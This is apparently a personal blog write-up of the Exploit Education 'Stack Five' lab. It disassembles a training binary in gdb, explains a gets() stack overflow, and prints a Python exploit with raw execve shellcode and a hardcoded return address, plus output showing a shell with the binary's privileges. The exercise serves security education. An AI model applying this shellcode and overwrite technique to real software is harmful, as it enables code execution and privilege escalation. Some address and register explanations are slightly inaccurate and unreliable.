Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise

If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.

If you haven’t done setting-up your lab, feel free to check out my previous article on lab setup

Quick Overview

Similar to Stack Four, Stack Five exercise motives are smashing the stack, overwrite return address ($rsp) and redirect the program to execute shellcode. Similar to previous stack post series, gets function is utilized which can pave way to overflow and execute shellcode (code execution) in the context of binary.


Disassembling the code will get you overall idea behind the stack-five code, One can use gdb ./stack-five to start debugging it in runtime.

  1. gdb ./stack-five
  2. Type disassemble main to get the disassembled code (assembly)
   0x00000000004005a4 <+0>:     push   rbp
   0x00000000004005a5 <+1>:     mov    rbp,rsp
   0x00000000004005a8 <+4>:     sub    rsp,0x10
   0x00000000004005ac <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x00000000004005af <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004005b3 <+15>:    mov    edi,0x400620
   0x00000000004005b8 <+20>:    call   0x400400 <puts@plt>
   0x00000000004005bd <+25>:    mov    eax,0x0
   0x00000000004005c2 <+30>:    call   0x40058d <start_level>
   0x00000000004005c7 <+35>:    mov    eax,0x0
   0x00000000004005cc <+40>:    leave
   0x00000000004005cd <+41>:    ret

> disassemble start_level

   0x000000000040058d <+0>:     push   rbp
   0x000000000040058e <+1>:     mov    rbp,rsp
   0x0000000000400591 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400595 <+8>:     lea    rax,[rbp-0x80]
   0x0000000000400599 <+12>:    mov    rdi,rax
   0x000000000040059c <+15>:    call   0x4003f0 <gets@plt>
   0x00000000004005a1 <+20>:    nop
   0x00000000004005a2 <+21>:    leave
   0x00000000004005a3 <+22>:    ret

Before taking a look at the code, if you disassembled the stack-five using gdb to view the assembly instruction, you may notice the puts, start_level and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/stack-five, brought to you by message via Puts (aka printf) method
  2. Invokes start_level function 0x4005c2
  3. Accepts user input via gets method with buffer memory address.
  4. The program automatically exits from main method returning back to invoker.

Primary Goal

The primary goal of this exercise is to make you overwrite the return address stack in start_level redirect to shellcode and gain code execution. If you remember from previous writeups, the next instruction (return address) as $rsp stack pointer stays in stack and consumed by $rip register aka instruction pointer.

Illustration of Stack Five exploit

Memory Allocation

As you see that the buffer variable isn’t dynamically allocated, they are allocated in the stack frame same as start_level function gets executes. The main function starts executing my pushing $rbp to stack at 0x7fffffffe660 and then rsp to $rbp-0x10 (0x7fffffffe648) as expected the stack grows from top (higher memory address) to bottom (lower memory address).

Stack Memory Layout from $rbp till $rsp

You can see that buffer (64 bytes) gets written at $rbp-0x80 i.e 0x7fffffff45c0 and $rbp register (8 bytes) at rbp-0x10 i.e 0x7fffffffe648. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite $rsp aka stack pointer stored in stack. If you play around with these memory layout behaviour, you can note that the char buffer variable writes from $rbp-0x80 towards $rbp-0x10 i.e 0x7fffffffe648.

*check Trial and Error section to learn about why address slightly differs while executing in gdb vs seperate program invoked from shell


As we know that gets function prone to stack/buffer overflow based on context, We’re about to carefully plan the exploit and plant the shellcode within the buffer and overwrite $rbp base pointer, $rsp stack pointer and redirect the program to shellcode address. Unlike real word scenario such as ASLR - Address Layout Randomization and other preventions in place, We now get a chance to hardcode the buffer address which 💯% static in this environment. Let’s now visit the malicious buffer construction,

  1. Initialize the buffer with NOP instructions 0x90 for safety
  2. Place the exact shellcode
  3. Fill the buffer with remaining character (0x41 - A) i.e (size of buffer) minus (above filled character length)
  4. Overwrite the $rbp with 8 characters (say 8 bytes)
  5. Time to overwrite the $rsp with actual buffer start address i.e 0x7fffffff45f0

So, here goes the exploit buffer generated with python code,

# Initial Padding with NOP instruction
buf = "\x90" * 30 
# Actual SHELL Code
buf += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Remaining padding 
buf += "A" * (128 - len(buf)) 
# Overwrite $rbp (base pointer)
buf += 'BBBBBBBB'
# Overwrite $rsp (consumed by $rip - instruction pointer) 
buf += '\xf0\xe5\xff\xff\xff\x7f' 
# Finally print and redirect this ouput to stack-five binary
print buf 


> (python $HOME/; cat) | /opt/phoenix/amd64/stack-five

user@phoenix-amd64:/opt/phoenix/amd64$ (python $HOME/; cat) | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲

Trial & Errors

I’m including this trial and error section to learn more about debugging and failures I came across while solving this problem,

  1. Why does address differs in GDB vs while executing from shell?

    The answer boils down to the environment variables that are automatically being set by gdb such as LINES & COLUMNS. So, when the environment variables are added to the program the stack gets pushed down and thus address varies.

    • How do I fix this and simulate similar to real world program execution?

      1. Simply use unset env LINES & unset env COLUMNS commands to reset environment variables in gdb
      2. Use mature tools like pwntools - python library which helps write exploits and hooks to gdb automatically upon execution.
  2. My exploit successfully invokes shell (/bin/dash) but doesn’t ouput any results or terminates abruptly?

    That’s probably because you haven’t included the output redirection to your exploit script after invoking shell. For instance Generated Shell Code; Cat cat command can help in redirecting the output of the shell commands and wait listening like interactive mode. Check Results section for the exact exploit code and appended command.

  3. My stack-five exploit works in GDB but not in terminal ?

    This is due to address padding by environment variables in gdb. Check Answer #1 for detailed explanation.

  4. Where do you get the Shell Code for x86 Arch ?

    This one is actually trial and error, You can get the shellcode based on your arch (x86, x64) in shell-storm

Source and Reference:

  1. Stack Five Exercise: Exploit Education
  2. Architecture 1001: x86-64 Assembly


Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.

Author Profile Photo - Shivasurya


Software Engineer, Security @ Dropbox